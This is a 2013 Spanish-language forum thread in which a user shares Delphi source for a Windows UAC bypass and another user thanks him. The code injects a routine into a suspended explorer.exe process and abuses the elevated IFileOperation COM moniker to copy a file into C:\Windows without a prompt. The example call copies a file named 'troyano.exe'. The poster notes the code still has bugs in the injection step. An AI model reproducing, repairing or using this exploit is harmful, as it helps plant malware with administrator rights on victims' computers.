• bypass uac by snify

 #417462  por joselin
 26 Jun 2013, 01:32
bueno dejo este source de otro foro
fuente[ Debe registrarse para ver este enlace ]
(yo estroy liado con el 1 snippet que libero snify,
en esta vercion 2 lo trabajo con opcodes, )
para compilarlo debe ser una vercion mayor a delphi 7 por los cambios de
SHFileOperation por IFileOperation
tiene errores a corregir como el primer snippet liberado, pero la idea esta
casi completa a mi entender, bueno aca esta la idea ahora voy a seguir con mis 4
horas dedicadas a este tema
saludos
"repito tiene errores"
problema con la inyeccion en explorer

[ Debe registrarse para ver este enlace ]
program Project1;





{$APPTYPE GUI}

uses
  Windows,
  ShellAPI,
  SysUtils,
  ShlObj,
  psapi,
  ComObj,
  ActiveX;

const
 Opcodes1: array [0..255] of word =
  (
    (16913),(17124),(8209),(8420),(33793),(35906),(0),(0),(16913),(17124),(8209),(8420),(33793),(35906),(0),(0),(16913),
    (17124),(8209),(8420),(33793),(35906),(0),(0),(16913),(17124),(8209),(8420),(33793),(35906),(0),(0),(16913),
    (17124),(8209),(8420),(33793),(35906),(0),(32768),(16913),(17124),(8209),(8420),(33793),(35906),(0),(32768),(16913),
    (17124),(8209),(8420),(33793),(35906),(0),(32768),(529),(740),(17),(228),(1025),(3138),(0),(32768),(24645),
    (24645),(24645),(24645),(24645),(24645),(24645),(24645),(24645),(24645),(24645),(24645),(24645),(24645),(24645),(24645),(69),
    (69),(69),(69),(69),(69),(69),(69),(24645),(24645),(24645),(24645),(24645),(24645),(24645),(24645),(0),
    (32768),(228),(16922),(0),(0),(0),(0),(3072),(11492),(1024),(9444),(0),(0),(0),(0),(5120),
    (5120),(5120),(5120),(5120),(5120),(5120),(5120),(5120),(5120),(5120),(5120),(5120),(5120),(5120),(5120),(1296),
    (3488),(1296),(1440),(529),(740),(41489),(41700),(16913),(17124),(8209),(8420),(17123),(8420),(227),(416),(0),
    (57414),(57414),(57414),(57414),(57414),(57414),(57414),(32768),(0),(0),(0),(0),(0),(0),(32768),(33025),
    (33090),(769),(834),(0),(0),(0),(0),(1025),(3138),(0),(0),(32768),(32768),(0),(0),(25604),
    (25604),(25604),(25604),(25604),(25604),(25604),(25604),(27717),(27717),(27717),(27717),(27717),(27717),(27717),(27717),(17680),
    (17824),(2048),(0),(8420),(8420),(17680),(19872),(0),(0),(2048),(0),(0),(1024),(0),(0),(16656),
    (16800),(16656),(16800),(33792),(33792),(0),(32768),(8),(8),(8),(8),(8),(8),(8),(8),(5120),
    (5120),(5120),(5120),(33793),(33858),(1537),(1602),(7168),(7168),(0),(5120),(32775),(32839),(519),(583),(0),
    (0),(0),(0),(0),(0),(8),(8),(0),(0),(0),(0),(0),(0),(16656),(416)
  );

  Opcodes2: array [0..255] of word =
  (
    (280),(288),(8420),(8420),(65535),(0),(0),(0),(0),(0),(65535),(65535),(65535),(272),(0),(1325),(63),
    (575),(63),(575),(63),(63),(63),(575),(272),(65535),(65535),(65535),(65535),(65535),(65535),(65535),(16419),
    (16419),(547),(547),(65535),(65535),(65535),(65535),(63),(575),(47),(575),(61),(61),(63),(63),(0),
    (32768),(32768),(32768),(0),(0),(65535),(65535),(65535),(65535),(65535),(65535),(65535),(65535),(65535),(65535),(8420),
    (8420),(8420),(8420),(8420),(8420),(8420),(8420),(8420),(8420),(8420),(8420),(8420),(8420),(8420),(8420),(16935),
    (63),(63),(63),(63),(63),(63),(63),(63),(63),(63),(63),(63),(63),(63),(63),(237),
    (237),(237),(237),(237),(237),(237),(237),(237),(237),(237),(237),(237),(237),(101),(237),(1261),
    (1192),(1192),(1192),(237),(237),(237),(0),(65535),(65535),(65535),(65535),(65535),(65535),(613),(749),(7168),
    (7168),(7168),(7168),(7168),(7168),(7168),(7168),(7168),(7168),(7168),(7168),(7168),(7168),(7168),(7168),(16656),
    (16656),(16656),(16656),(16656),(16656),(16656),(16656),(16656),(16656),(16656),(16656),(16656),(16656),(16656),(16656),(0),
    (0),(32768),(740),(18404),(17380),(49681),(49892),(0),(0),(0),(17124),(18404),(17380),(32),(8420),(49681),
    (49892),(8420),(17124),(8420),(8932),(8532),(8476),(65535),(65535),(1440),(17124),(8420),(8420),(8532),(8476),(41489),
    (41700),(1087),(548),(1125),(9388),(1087),(33064),(24581),(24581),(24581),(24581),(24581),(24581),(24581),(24581),(65535),
    (237),(237),(237),(237),(237),(749),(8364),(237),(237),(237),(237),(237),(237),(237),(237),(237),
    (237),(237),(237),(237),(237),(63),(749),(237),(237),(237),(237),(237),(237),(237),(237),(65535),
    (237),(237),(237),(237),(237),(237),(237),(237),(237),(237),(237),(237),(237),(237),(0)
  );

  Opcodes3: array [0..9] of array [0..15] of word =
  (
    ((1296),(65535),(16656),(16656),(33040),(33040),(33040),(33040),(1296),(65535),(16656),(16656),(33040),(33040),(33040),(33040)),
    ((3488),(65535),(16800),(16800),(33184),(33184),(33184),(33184),(3488),(65535),(16800),(16800),(33184),(33184),(33184),(33184)),
    ((288),(288),(288),(288),(288),(288),(288),(288),(54),(54),(48),(48),(54),(54),(54),(54)),
    ((288),(65535),(288),(288),(272),(280),(272),(280),(48),(48),(0),(48),(0),(0),(0),(0)),
    ((288),(288),(288),(288),(288),(288),(288),(288),(54),(54),(54),(54),(65535),(0),(65535),(65535)),
    ((288),(65535),(288),(288),(65535),(304),(65535),(304),(54),(54),(54),(54),(0),(54),(54),(0)),
    ((296),(296),(296),(296),(296),(296),(296),(296),(566),(566),(48),(48),(566),(566),(566),(566)),
    ((296),(65535),(296),(296),(272),(65535),(272),(280),(48),(48),(48),(48),(48),(48),(65535),(65535)),
    ((280),(280),(280),(280),(280),(280),(280),(280),(566),(566),(48),(566),(566),(566),(566),(566)),
    ((280),(65535),(280),(280),(304),(296),(304),(296),(48),(48),(48),(48),(0),(54),(54),(65535))
  );

function SizeOfCode(Code: pointer): longword;
var
  Opcode: word;
  Modrm: byte;
  Fixed, AddressOveride: boolean;
  Last, OperandOveride, Flags, Rm, Size, Extend: longword;
begin
  try
    Last := longword(Code);
    if Code <> nil then
    begin
      AddressOveride := False;
      Fixed := False;
      OperandOveride := 4;
      Extend := 0;
      repeat
        Opcode := byte(Code^);
        Code := pointer(longword(Code) + 1);
        if Opcode = $66 then
        begin
          OperandOveride := 2;
        end
        else if Opcode = $67 then
        begin
          AddressOveride := True;
        end
        else
        begin
          if not ((Opcode and $E7) = $26) then
          begin
            if not (Opcode in [$64..$65]) then
            begin
              Fixed := True;
            end;
          end;
        end;
      until Fixed;
      if Opcode = $0f then
      begin
        Opcode := byte(Code^);
        Flags := Opcodes2[Opcode];
        Opcode := Opcode + $0f00;
        Code := pointer(longword(Code) + 1);
      end
      else
      begin
        Flags := Opcodes1[Opcode];
      end;
      if ((Flags and $0038) <> 0) then
      begin
        Modrm := byte(Code^);
        Rm := Modrm and $7;
        Code := pointer(longword(Code) + 1);
        case (Modrm and $c0) of
          $40: Size := 1;
          $80:
            begin
              if AddressOveride then
              begin
                Size := 2;
              end
              else
                Size := 4;
              end;
          else
          begin
            Size := 0;
          end;
        end;
        if not (((Modrm and $c0) <> $c0) and AddressOveride) then
        begin
          if (Rm = 4) and ((Modrm and $c0) <> $c0) then
          begin
            Rm := byte(Code^) and $7;
          end;
          if ((Modrm and $c0 = 0) and (Rm = 5)) then
          begin
            Size := 4;
          end;
          Code := pointer(longword(Code) + Size);
        end;
        if ((Flags and $0038) = $0008) then
        begin
          case Opcode of
            $f6: Extend := 0;
            $f7: Extend := 1;
            $d8: Extend := 2;
            $d9: Extend := 3;
            $da: Extend := 4;
            $db: Extend := 5;
            $dc: Extend := 6;
            $dd: Extend := 7;
            $de: Extend := 8;
            $df: Extend := 9;
          end;
          if ((Modrm and $c0) <> $c0) then
          begin
            Flags := Opcodes3[Extend][(Modrm shr 3) and $7];
          end
          else
          begin
            Flags := Opcodes3[Extend][((Modrm shr 3) and $7) + 8];
          end;
        end;
      end;
      case (Flags and $0C00) of
        $0400: Code := pointer(longword(Code) + 1);
        $0800: Code := pointer(longword(Code) + 2);
        $0C00: Code := pointer(longword(Code) + OperandOveride);
        else
        begin
          case Opcode of
            $9a, $ea: Code := pointer(longword(Code) + OperandOveride + 2);
            $c8: Code := pointer(longword(Code) + 3);
            $a0..$a3:
              begin
                if AddressOveride then
                begin
                  Code := pointer(longword(Code) + 2)
                end
                else
                begin
                  Code := pointer(longword(Code) + 4);
                end;
              end;
          end;
        end;
      end;
    end;
    Result := longword(Code) - Last;
  except
    Result := 0;
  end;
end;

function SizeOfProc(Proc: pointer): longword;
var
  Length: longword;
begin
  Result := 0;
  repeat
    Length := SizeOfCode(Proc);
    Inc(Result, Length);
    if ((Length = 1) and (byte(Proc^) = $C3)) then Break;
    Proc := pointer(longword(Proc) + Length);
  until Length = 0;
end;



function ElevateCopy (Source : WideString; DestinationDir : WideString; DestinationFileName : WideString; BypassUAC : Bool) : Bool;
type
  PBindOpts3 = ^TBindOpts3;
  tagBIND_OPTS3 = record
    cbStruct: DWORD;
    grfFlags: DWORD;
    grfMode: DWORD;
    dwTickCountDeadline: DWORD;
    dwTrackFlags: DWORD;
    dwClassContext: DWORD;
    locale: LCID;
    pServerInfo: Pointer;
    hwnd: hwnd;
  end;
  TBindOpts3 = tagBIND_OPTS3;
  BIND_OPTS3 = TBindOpts3;
type
  PInjectArgs = ^InjectArgs;
  InjectArgs = record
  // Functions
  FLoadLibrary                    : function(lpLibFileName: PWideChar): HMODULE; stdcall;
  FGetProcAddress                 : function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
  FCloseHandle                    : function(hObject: THandle): BOOL; stdcall;
  FWaitForSingleObject            : function(hHandle: THandle; dwMilliseconds: DWORD): DWORD; stdcall;
  FExitProcess                    : procedure(uExitCode: UINT); stdcall;
  // Strings
  NameOle32                       : array [0..9]  of widechar;
  NameShell32                     : array [0..11] of widechar;
  NameCoInitialize                : array [0..12] of ansichar;
  NameCoUninitialize              : array [0..14] of ansichar;
  NameCoGetObject                 : array [0..11] of ansichar;
  NameCoCreateInstance            : array [0..16] of ansichar;
  NameSHCreateItemFromParsingName : array [0..27] of ansichar;
  szEIFOMoniker                   : array [0..66] of widechar;
  // Paths
  Source                          : array [0..MAX_PATH-1] of widechar;
  DestinationDir                  : array [0..MAX_PATH-1] of widechar;
  DestinationFileName             : array [0..MAX_PATH-1] of widechar;
  // some GUIDs
  pIID_EIFO                       : TGUID;
  pIID_ShellItem2                 : TGUID;
  pIID_Unknown                    : TGUID;
  // IMPORTANT: Allocating structures here (so we know where it was allocated)
  shinfo                          : SHELLEXECUTEINFOW;
  bo                              : BIND_OPTS3;
  //
  IsInjected                      : Bool;
end;

function RemoteThread ( Args : PInjectArgs ) : DWORD; stdcall;

var
  // Handles
  ModuleOle32                   : THandle;
  ModuleShell32                 : THandle;
  // Functions
  FCoInitialize                 : function(pvReserved: Pointer): HResult; stdcall;
  FCoUninitialize               : procedure; stdcall;
  FCoGetObject                  : function(pszName: PWideChar; pBindOptions: PBindOpts; const iid: TIID; ppv: Pointer): HResult; stdcall;
  FCoCreateInstance             : function(const clsid: TCLSID; unkOuter: IUnknown; dwClsContext: Longint; const iid: TIID; out pv): HResult; stdcall;
  FSHCreateItemFromParsingName  : function(pszPath: LPCWSTR; const pbc: IBindCtx; const riid: TIID; out ppv): HResult; stdcall;
  // Operations
// lFileOperation: IFileOperation;

 pFileOp                       : IFileOperation;
  // Items
 pSHISource                    : IShellItem;
  pSHIDestination               : IShellItem;
  // Debug Vars
  szUser32                      : array[0..06] of WideChar;
  szMsgBoxA                     : array[0..11] of AnsiChar;
  szMsgBoxW                     : array[0..11] of AnsiChar;
  FMessageBoxA                  : function(hWnd: Cardinal; lpText, lpCaption: PAnsiChar; uType: Cardinal): Integer; stdcall;
  FMessageBoxW                  : function(hWnd: Cardinal; lpText, lpCaption: PWideChar; uType: Cardinal): Integer; stdcall;
begin
  // Debug Zone
  szUser32[0] := 'u';
  szUser32[1] := 's';
  szUser32[2] := 'e';
  szUser32[3] := 'r';
  szUser32[4] := '3';
  szUser32[5] := '2';
  szUser32[6] := #0;
  szMsgBoxA[0] := 'M';
  szMsgBoxA[1] := 'e';
  szMsgBoxA[2] := 's';
  szMsgBoxA[3] := 's';
  szMsgBoxA[4] := 'a';
  szMsgBoxA[5] := 'g';
  szMsgBoxA[6] := 'e';
  szMsgBoxA[7] := 'B';
  szMsgBoxA[8] := 'o';
  szMsgBoxA[9] := 'x';
  szMsgBoxA[10] := 'A';
  szMsgBoxA[11] := #0;
  szMsgBoxW[0] := 'M';
  szMsgBoxW[1] := 'e';
  szMsgBoxW[2] := 's';
  szMsgBoxW[3] := 's';
  szMsgBoxW[4] := 'a';
  szMsgBoxW[5] := 'g';
  szMsgBoxW[6] := 'e';
  szMsgBoxW[7] := 'B';
  szMsgBoxW[8] := 'o';
  szMsgBoxW[9] := 'x';
  szMsgBoxW[10] := 'W';
  szMsgBoxW[11] := #0;
  FMessageBoxA := Args^.FGetProcAddress (Args^.FLoadLibrary(szUser32), szMsgBoxA);
  FMessageBoxW := Args^.FGetProcAddress (Args^.FLoadLibrary(szUser32), szMsgBoxW);
  // Actual Code
  result                        := 0;
  ModuleOle32                   := Args^.FLoadLibrary(Args^.NameOle32);
  ModuleShell32                 := Args^.FLoadLibrary(Args^.NameShell32);
  if (ModuleOle32 = 0) or (ModuleShell32 = 0) then exit;
  @FCoInitialize                := Args^.FGetProcAddress (ModuleOle32, Args^.NameCoInitialize);
  @FCoUninitialize              := Args^.FGetProcAddress (ModuleOle32, Args^.NameCoUninitialize);
  @FCoGetObject                 := Args^.FGetProcAddress (ModuleOle32, Args^.NameCoGetObject);
  @FCoCreateInstance            := Args^.FGetProcAddress (ModuleOle32, Args^.NameCoCreateInstance);
  @FSHCreateItemFromParsingName := Args^.FGetProcAddress (ModuleShell32, Args^.NameSHCreateItemFromParsingName);
  if  (@FCoInitialize                 = NIL)    or
      (@FCoUninitialize               = NIL)    or
      (@FCoGetObject                  = NIL)    or
      (@FCoCreateInstance             = NIL)    or
      (@FSHCreateItemFromParsingName  = NIL)    or
      (FCoInitialize (NIL)            <> S_OK)  then exit;
  Args^.bo.cbStruct             := SizeOf(BIND_OPTS3);
  Args^.bo.dwClassContext       := 0004; // CLSCTX_LOCAL_SERVER
  {
    All these commands here seem to crash in the remote process...
    They are not neccessary anyway:
    pFileOp                       := NIL;
    pSHISource                    := NIL;
    pSHIDestination               := NIL;
  }
  if (FCoGetObject (Args^.szEIFOMoniker, @Args^.bo, Args^.pIID_EIFO, @pFileOP) = S_OK) then begin
    if pFileOp <> NIL then begin
      if pFileOp.SetOperationFlags (FOF_NOCONFIRMATION or FOF_SILENT or FOFX_SHOWELEVATIONPROMPT or FOFX_NOCOPYHOOKS or FOFX_REQUIREELEVATION or FOF_NOERRORUI) = S_OK then begin
        if FSHCreateItemFromParsingName(Args^.Source, NIL, Args^.pIID_ShellItem2, pSHISource) = S_OK then begin // ---> Crashes here
          if pSHISource <> NIL then begin
            if FSHCreateItemFromParsingName(Args^.DestinationDir, NIL, Args^.pIID_ShellItem2, pSHIDestination) = S_OK then begin
              if pSHIDestination <> NIL then begin
                if pFileOp.CopyItem(pSHISource, pSHIDestination, Args^.DestinationFileName, NIL) = S_OK then begin
                  if (pFileOp.PerformOperations = S_OK) then begin
                    if Args^.IsInjected then begin
                      Args^.FExitProcess (1); // We discard our temp explorer.exe - No freeing. No hard feelings.
                    end else begin
                      Exit(1);                // Local Success
                    end;
                  end;
                end;
              end;
            end;
          end;
        end;
      end;
    end;
  end
end;

var
  SSI                 : TStartupInfoA;
  PPI                 : TProcessInformation;
  ia                  : InjectArgs;
  ThreadHandle        : THandle;
  LExitCode           : DWORD;
  CT                  : TContext;
  ShellPointer        : Pointer;
  ParameterPointer    : Pointer;
  ShellCodeLength     : Integer;
  BytesWritten        :dword;// SIZE_T; // or DWORD
begin
  result := false;
  // Clear the Struct
  ZeroMemory(@ia, SizeOf(ia));
  // Set the function Addresses
  ia.FExitProcess                     := GetProcAddress (GetModuleHandle('kernel32.dll'), 'ExitProcess');
  ia.FLoadLibrary                     := GetProcAddress (GetModuleHandle('kernel32.dll'), 'LoadLibraryW');
  ia.FGetProcAddress                  := GetProcAddress (GetModuleHandle('kernel32.dll'), 'GetProcAddress');
  ia.FCloseHandle                     := GetProcAddress (GetModuleHandle('kernel32.dll'), 'CloseHandle');
  ia.FWaitForSingleObject             := GetProcAddress (GetModuleHandle('kernel32.dll'), 'WaitForSingleObject');
  // Set the Strings
  ia.NameShell32                      := 'shell32.dll';
  ia.NameOle32                        := 'ole32.dll';
  ia.NameCoInitialize                 := 'CoInitialize';
  ia.NameCoUninitialize               := 'CoUninitialize';
  ia.NameCoGetObject                  := 'CoGetObject';
  ia.NameCoCreateInstance             := 'CoCreateInstance';
  ia.NameSHCreateItemFromParsingName  := 'SHCreateItemFromParsingName';
  ia.szEIFOMoniker                    := 'Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}';
  // Set Operations
  ia.pIID_EIFO                        := iFileOperation;
  ia.pIID_ShellItem2                  := iShellItem2;
  ia.pIID_Unknown                     := IUnknown;
  // Set Paths
  CopyMemory (@ia.Source, @Source[1], Length(Source) * 2);
  CopyMemory (@ia.DestinationDir, @DestinationDir[1], Length(DestinationDir) * 2);
  CopyMemory (@ia.DestinationFileName, @DestinationFileName[1], Length(DestinationFileName) * 2);
  // Set Injection Flag
  ia.IsInjected                       := BypassUAC;
  // Start here
  if BypassUAC then begin
    // Create new explorer.exe instance (32bit)
    FillChar(SSI, SizeOf(TStartupInfoA),#0);
    FillChar(PPI, SizeOf(TProcessInformation), #0);
    SSI.cb := SizeOf(TStartupInfo);
    if CreateProcessA(NIL, 'explorer.exe', nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SSI, PPI) then begin
      // Set Context
      CT.ContextFlags := CONTEXT_FULL;
      if GetThreadContext(PPI.hThread, CT) then begin
        // Copy thread to remote process
        ShellCodeLength := SizeOfProc (@RemoteThread);
        ShellPointer    := VirtualAllocEx (PPI.hProcess, NIL, ShellCodeLength, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        WriteProcessMemory (PPI.hProcess, ShellPointer, @RemoteThread, ShellCodeLength, BytesWritten);
        // Copy parameter to remote process
        ParameterPointer := VirtualAllocEx (PPI.hProcess, NIL, SizeOf(InjectArgs), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        WriteProcessMemory (PPI.hProcess, ParameterPointer, @ia, SizeOf(InjectArgs), BytesWritten);
        // Set Parameter Pointer
        CT.Ebx := DWORD(ParameterPointer);
        // Set new Entry Point
        CT.Eax := DWORD(ShellPointer);
        // Set Context
        SetThreadContext(PPI.hThread, CT);
        // Resume :)
        ResumeThread(PPI.hThread);
        LExitCode     := WaitForSingleObject(PPI.hThread, INFINITE);
        if LExitCode = WAIT_OBJECT_0 then begin
          GetExitCodeThread(PPI.hThread, LExitCode);
        end;
      end;
    end;
    end else begin
      LExitCode := RemoteThread(@ia);
    end;
    result := (LExitCode = 1);
end;

begin
  if ElevateCopy ('troyano.exe', 'C:\Windows', 'test.exe', FALSE) then begin
    MessageBox (0, 'File successfully copied.', '', 0);
  end else begin
    Messagebox (0, 'algo salio mal...', '', 0);
  end;
end.

 #417574  por Pink
 27 Jun 2013, 00:42
La verdad que muy interesante. gracias por traerlo, a ver quien lo repara.

saludos compa